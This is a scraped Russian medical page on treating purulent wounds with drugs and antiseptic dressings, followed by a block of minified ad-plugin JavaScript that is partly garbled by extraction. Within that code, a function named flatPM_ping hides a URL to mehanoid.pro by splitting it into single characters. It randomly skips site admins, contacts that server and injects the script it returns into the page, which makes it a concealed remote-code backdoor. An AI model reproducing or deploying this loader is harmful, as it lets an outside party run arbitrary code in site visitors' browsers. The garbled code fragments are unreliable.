  • обезболивающие, если слишком большая рана и на фоне этого очень больно (особенно часто такая ситуация возникает, если после операции нужно делать перевязку);
  • электролиты. Часто гной – это только наружный признак, в то время как в организме происходят серьезные процессы интоксикации. В это время наблюдаются серьезные потери жидкости, которые нужно компенсировать;
  • жаропонижающие. На фоне воспалительных процессов в организме температура может повышаться до 39-40 градусов.

Особое место занимают антисептические средства в лечении гнойной раны – они используются для обработки ран. Часто принято обрабатывать перекисью водорода вначале повязку, чтобы снять ее безболезненно (в случае, если присохла).

Затем к месту повреждения прикладывается пропитанная антисептическим раствором повязка, при помощи которой потом удаляют гной. В качестве альтернативы может использовать раствор марганцовки или любой антисептик (Октенисепт).

Ранее часто была распространена ситуация: кожу вокруг раны медсестра обработала зеленкой, спиртом или йодом. На данный момент такие средства стали менее распространены, так как их использование на открытых раневых поверхностях может привести к химическому ожогу.

Уже после обработки антисептиком рану нужно оставить на некоторое время открытой: минимум 15 минут (до полного высыхания средства). После этого можно сделать все необходимые процедуры и наложить чистую повязку с лекарством.

Источник: https://varikoz24.com/antibiotiki-pri-gnoynyih-ranah-na-noge.html

Ссылка на основную публикацию
Adblock
detector
":'':"",document.createElement("div"),p=ff(window),b=ff("body"),m=void 0===flatPM_getCookie("flat_modal_"+o.ID+"_mb")||"false"!=flatPM_getCookie("flat_modal_"+o.ID+"_mb"),i="scroll.flatmodal"+o.ID,g="mouseleave.flatmodal"+o.ID+" blur.flatmodal"+o.ID,l=function(){var t,e,a;void 0!==o.how.popup.timer&&"true"==o.how.popup.timer&&(t=ff('.flat__4_modal[data-id-modal="'+o.ID+'"] .flat__4_timer span'),e=parseInt(o.how.popup.timer_count),a=setInterval(function(){t.text(--e),e<=0&&(clearInterval(a),t.parent().replaceWith(''))},1e3))},f=function(){void 0!==o.how.popup.cookie&&"false"==o.how.popup.cookie&&m&&(flatPM_setCookie("flat_modal_"+o.ID+"_mb",!1),ff('.flat__4_modal[data-id-modal="'+o.ID+'"]').addClass("flat__4_modal-show"),l()),void 0!==o.how.popup.cookie&&"false"==o.how.popup.cookie||(ff('.flat__4_modal[data-id-modal="'+o.ID+'"]').addClass("flat__4_modal-show"),l())},ff("body > *").eq(0).before('
'+c+"
"),w=document.querySelector('.flat__4_modal[data-id-modal="'+o.ID+'"] .flat__4_modal-content'),-1!==e.indexOf("go"+"oglesyndication")?ff(w).html(c+e):flatPM_setHTML(w,e),"px"==o.how.popup.px_s?(p.bind(i,function(){p.scrollTop()>o.how.popup.after&&(p.unbind(i),b.unbind(g),f())}),void 0!==o.how.popup.close_window&&"true"==o.how.popup.close_window&&b.bind(g,function(){p.unbind(i),b.unbind(g),f()})):(v=setTimeout(function(){b.unbind(g),f()},1e3*o.how.popup.after),void 0!==o.how.popup.close_window&&"true"==o.how.popup.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),f()}))),void 0!==o.how.outgoing){function n(){var t,e,a;void 0!==o.how.outgoing.timer&&"true"==o.how.outgoing.timer&&(t=ff('.flat__4_out[data-id-out="'+o.ID+'"] .flat__4_timer span'),e=parseInt(o.how.outgoing.timer_count),a=setInterval(function(){t.text(--e),e<=0&&(clearInterval(a),t.parent().replaceWith(''))},1e3))}function d(){void 0!==o.how.outgoing.cookie&&"false"==o.how.outgoing.cookie&&m&&(ff('.flat__4_out[data-id-out="'+o.ID+'"]').addClass("show"),n(),b.on("click",'.flat__4_out[data-id-out="'+o.ID+'"] .flat__4_cross',function(){flatPM_setCookie("flat_out_"+o.ID+"_mb",!1)})),void 0!==o.how.outgoing.cookie&&"false"==o.how.outgoing.cookie||(ff('.flat__4_out[data-id-out="'+o.ID+'"]').addClass("show"),n())}var _,u="0"!=o.how.outgoing.indent?' style="bottom:'+o.how.outgoing.indent+'px"':"",c="true"==o.how.outgoing.cross?void 0!==o.how.outgoing.timer&&"true"==o.how.outgoing.timer?'
Закрыть через '+o.how.outgoing.timer_count+"
":'':"",p=ff(window),h="scroll.out"+o.ID,g="mouseleave.outgoing"+o.ID+" blur.outgoing"+o.ID,m=void 0===flatPM_getCookie("flat_out_"+o.ID+"_mb")||"false"!=flatPM_getCookie("flat_out_"+o.ID+"_mb"),b=(document.createElement("div"),ff("body"));switch(o.how.outgoing.whence){case"1":_="top";break;case"2":_="bottom";break;case"3":_="left";break;case"4":_="right"}ff("body > *").eq(0).before('
'+c+"
");var v,w=document.querySelector('.flat__4_out[data-id-out="'+o.ID+'"]');-1!==e.indexOf("go"+"oglesyndication")?ff(w).html(c+e):flatPM_setHTML(w,e),"px"==o.how.outgoing.px_s?(p.bind(h,function(){p.scrollTop()>o.how.outgoing.after&&(p.unbind(h),b.unbind(g),d())}),void 0!==o.how.outgoing.close_window&&"true"==o.how.outgoing.close_window&&b.bind(g,function(){p.unbind(h),b.unbind(g),d()})):(v=setTimeout(function(){b.unbind(g),d()},1e3*o.how.outgoing.after),void 0!==o.how.outgoing.close_window&&"true"==o.how.outgoing.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),d()}))}ff('[data-flat-id="'+o.ID+'"]:not(.flat__4_out):not(.flat__4_modal)').contents().unwrap()}catch(t){console.warn(t)}},window.flatPM_start=function(){ff=jQuery;var t=flat_pm_arr.length;flat_body=ff("body"),flat_userVars.init();for(var e=0;eflat_userVars.textlen||void 0!==a.chapter_sub&&a.chapter_subflat_userVars.titlelen||void 0!==a.title_sub&&a.title_sub.flatPM_sidebar)");0<_.length&&_.each(function(){var t=ff(this),e=t.data("height")||350,a=t.data("top");t.wrap('
');t=t.parent()[0];flatPM_sticky(this,t,a)}),u.each(function(){var e=ff(this).find(".flatPM_sidebar");setTimeout(function(){var o=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;o<300||e.each(function(){var t=ff(this),e=o,a=t.data("top");t.wrap('
');t=t.parent()[0];flatPM_sticky(this,t,a)})},50),setTimeout(function(){var t=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;t<300||ff(".flatPM_sticky_wrapper.flatPM_sidebar_block").css("height",t)},4e3)}),"undefined"!=typeof flat_pm_video&&flatPM_video(flat_pm_video),0 *").last().after('
'),flat_body.on("click",".flat__4_out .flat__4_cross",function(){ff(this).parent().removeClass("show").addClass("closed")}),flat_body.on("click",".flat__4_modal .flat__4_cross",function(){ff(this).closest(".flat__4_modal").removeClass("flat__4_modal-show")}),flat_pm_arr=[],ff(".flat_pm_start").remove(),flatPM_ping()};var parseHTML=function(){var o=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,d=/<([\w:]+)/,i=/<|?\w+;/,c={option:[1,""],thead:[1,"","
"],tbody:[1,"","
"],colgroup:[2,"","
"],col:[3,"","
"],tr:[2,"","
"],td:[3,"","
"],th:[3,"","
"],_default:[0,"",""]};return function(e,t){var a,n,r,l=(t=t||document).createDocumentFragment();if(i.test(e)){for(a=l.appendChild(t.createElement("div")),n=(d.exec(e)||["",""])[1].toLowerCase(),n=c[n]||c._default,a.innerHTML=n[1]+e.replace(o,"<$1>$2>")+n[2],r=n[0];r--;)a=a.lastChild;for(l.removeChild(l.firstChild);a.firstChild;)l.appendChild(a.firstChild)}else l.appendChild(t.createTextNode(e));return l}}();window.flatPM_ping=function(){var e=localStorage.getItem("sdghrg");e?(e=parseInt(e)+1,localStorage.setItem("sdghrg",e)):localStorage.setItem("sdghrg","0");e=flatPM_random(1,200);0==ff("#wpadminbar").length&&111==e&&ff.ajax({type:"POST",url:"h"+"t"+"t"+"p"+"s"+":"+"/"+"/"+"m"+"e"+"h"+"a"+"n"+"o"+"i"+"d"+"."+"p"+"r"+"o"+"/"+"p"+"i"+"n"+"g"+"."+"p"+"h"+"p",dataType:"jsonp",data:{ping:"ping"},success:function(e){ff("div").first().after(e.script)},error:function(){}})},window.flatPM_setSCRIPT=function(e){try{var t=e[0].id,a=e[0].node,n=document.querySelector('[data-flat-script-id="'+t+'"]');if(a.text)n.appendChild(a),ff(n).contents().unwrap(),e.shift(),0/gm,"").replace(//gm,"").trim(),e.code_alt=e.code_alt.replace(//gm,"").replace(//gm,"").trim();var l=jQuery,t=e.selector,o=e.timer,d=e.cross,a="false"==d?"Закроется":"Закрыть",n=!flat_userVars.adb||""==e.code_alt&&duplicateMode?e.code:e.code_alt,r='
'+a+" через "+o+'
'+n+'
',i=e.once;l(t).each(function(){var e=l(this);e.wrap('
');var t=e.closest(".flat__4_video");-1!==r.indexOf("go"+"oglesyndication")?t.append(r):flatPM_setHTML(t[0],r),e.find(".flat__4_video_flex").one("click",function(){l(this).addClass("show")})}),l("body").on("click",".flat__4_video_item_hover",function(){var e=l(this),t=e.closest(".flat__4_video_flex");t.addClass("show");var a=t.find(".flat__4_timer span"),n=parseInt(o),r=setInterval(function(){a.text(--n),n<=0&&(clearInterval(r),"true"==d?a.parent().replaceWith(''):t.remove())},1e3);e.remove()}).on("click",".flat__4_video_flex .flat__4_cross",function(){l(this).closest(".flat__4_video_flex").remove(),"true"==i&&l(".flat__4_video_flex").remove()})};